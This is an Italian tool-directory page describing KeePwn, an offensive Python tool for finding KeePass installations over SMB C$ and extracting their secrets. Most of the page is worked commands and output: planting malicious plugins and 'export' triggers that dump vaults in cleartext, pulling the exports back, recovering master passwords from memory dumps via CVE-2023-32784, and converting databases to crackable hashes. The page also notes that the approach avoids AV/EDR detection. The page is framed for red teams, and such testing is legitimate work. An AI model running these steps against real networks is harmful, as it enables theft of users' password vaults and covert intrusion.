Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
KeePwn — Uno strumento Python per automatizzare la scoperta di KeePass e l'estrazione di segreti. | Kitploit
Strumenti/GitHubGitHub/orange-cyberdefense/keepwn
Password CrackingExploitPost-ExploitRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Uno strumento Python per automatizzare la scoperta di KeePass e l'estrazione di segreti.

Vedi Repository
527541 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Uno script Python per aiutare i red team a scoprire le istanze di KeePass ed estrarre i segreti.

Funzionalità

  • Scoperta di KeePass
    • Cerca i file di installazione di KeePass tramite la condivisione SMB C$.
    • Accetta più sorgenti di target (IP, CIDR, hostname, file).
    • Controlla i metadati di KeePass (versione, ultimo accesso).
    • Controlla la presenza del processo di KeePass in esecuzione tramite RPC basato su Impacket.
    • Implementazione multi-thread per evitare host collo di bottiglia.
    • Esporta i risultati della ricerca in CSV.
    • Trova i database KDBX.
  • Abuso dei plugin di KeePass
    • Aggiungi e rimuovi plugin di KeePass (vedi KeeFarce Reborn) tramite la condivisione SMB C$.
    • Recupera esportazioni in chiaro sul host remoto.
  • Abuso dei trigger di KeePass
    • Aggiungi e rimuovi trigger (vedi: KeeThief) dal file di configurazione di KeePass tramite la condivisione SMB C$.
    • Recupera esportazioni in chiaro sul host remoto.
    • Personalizza i trigger con argomenti da riga di comando.
  • Analisi dei dump di memoria di KeePass
    • Analizza i dump di memoria per trovare possibili password master (CVE-2023-32784).
    • Analizza i dump di memoria per trovare la chiave di crittografia.
  • Cracking dei database di KeePass
    • Converte KDBX in formati compatibili con John e Hashcat.
    • Aggiungi supporto per il formato KDBX 4.x.
  • Autenticazione
    • Supporta l'autenticazione con hash LM/NT.
    • Supporta l'autenticazione Kerberos.
  • Varie
    • Scrivi test unitari.
    • Rendi il progetto disponibile su PyPI.

Installazione

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Oppure, se non vuoi installare ma solo eseguire in un virtualenv:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Utilizzo

Scoperta

Il modulo search di KeePwn viene utilizzato per identificare gli host che eseguono KeePass nel tuo ambiente target:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Utilizza la condivisione C$ integrata di Active Directory per cercare file relativi a KeePass nelle posizioni predefinite, richiedendo quindi privilegi di amministratore sui target.

Il modulo cercherà prima il file di configurazione KeePass.config.xml nella cartella %APPDATA%\KeePass di ciascun utente, così come KeePass.exe nel suo percorso di installazione predefinito (C:\Program Files\KeePass Password Safe 2). Se viene trovato un file di configurazione ma KeePass non è installato a livello globale, KeePwn cercherà installazioni portatili fino a --max-depth sottocartelle.

Questa tecnica di ricerca di base dovrebbe essere sufficiente per determinare con precisione se KeePass viene utilizzato su una workstation o meno. Inoltre, l'opzione --get-process utilizza l'implementazione RPC di Impacket per determinare se KeePass è attualmente in esecuzione sul target.

Sono incluse anche varie opzioni di comodità che consentono di esportare i risultati della ricerca in un file CSV, visualizzare solo i target in cui è stato trovato KeePass e regolare il numero di thread paralleli:

Abuso dei plugin

KeePass fornisce un framework per plugin che può essere abusato per caricare DLL dannose nel processo di KeePass, consentendo agli attaccanti con diritti di amministratore di esportare facilmente il database (vedi: KeeFarceRebornPlugin).

Il modulo plugin di KeePwn consente di:

  • Elencare i plugin attualmente installati e fare un'enumerazione della cache dei plugin

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Aggiungere e rimuovere i tuoi plugin dannosi

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • Effettuare il polling di %APPDATA% per esportazioni e spostarle automaticamente dall'host remoto al filesystem locale

Abuso dei trigger

Come descritto nel post del blog di @harmj0y (e successivamente CVE-2023-24055), il sistema di trigger di KeePass può essere abusato per esportare il database in chiaro.

Il modulo trigger di KeePwn consente di:

  • Verificare se un trigger dannoso chiamato "export" è attualmente presente nella configurazione di KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    Nota che KeePwn ti impedirà di abusare dei plugin se la versione di KeePass rilevata non è affetta da questa tecnica.

  • Aggiungere e rimuovere un trigger dannoso chiamato "export" che esegue un'esportazione in chiaro del database in %APPDATA% al successivo avvio di KeePass

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
Analisi dei dump di memoria

Come descritto da @vdohney, è possibile recuperare la password master del database dalla memoria (CVE-2023-32784, che interessa le versioni precedenti a KeePass 2.54).

Il modulo parse_dump di KeePwn cercherà potenziali candidate alla password master nei dump. Poiché le stringhe risultanti saranno (per progettazione) incomplete, il modulo può anche essere utilizzato per forzare il primo carattere mancante contro un file KDBX specificato.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

L'analisi del dump di memoria utilizza il PoC Python di @CMEPW. Grazie per avermi permesso di riutilizzare il codice :)

Cracking dei database KDBX

Lo script keepass2john.py di @harmjoy è stato portato su KeePwn con l'aiuto di @0xSp3ctra.

Il modulo convert di KeePwn estrarrà un hash craccabile (formato john o hashcat) da un database KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Può essere utilizzato con più argomenti per specificare il tipo di hash atteso e un percorso file di output:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x non è ancora supportato, puoi utilizzare https://github.com/r3nt0n/keepass4brute. Se hai voglia di una PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format è una buona lettura :)

Contribuisci

Le pull request sono benvenute (vedi: funzionalità non selezionate + alcuni TODO nel codice).

Sentiti libero di aprire un problema o contattarmi su Twitter per suggerire miglioramenti.

Scarica lo strumento
root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
root@kitploit:~
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

Queste azioni vengono eseguite tramite l'accesso alla condivisione SMB C$, limitando il rilevamento da parte di AV/EDR poiché non viene eseguito alcun comando.

  • Effettuare il polling di %APPDATA% per esportazioni e spostarle automaticamente dall'host remoto al filesystem locale

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • Se il percorso del file di configurazione non è quello predefinito, puoi specificarne uno con l'argomento --config-path.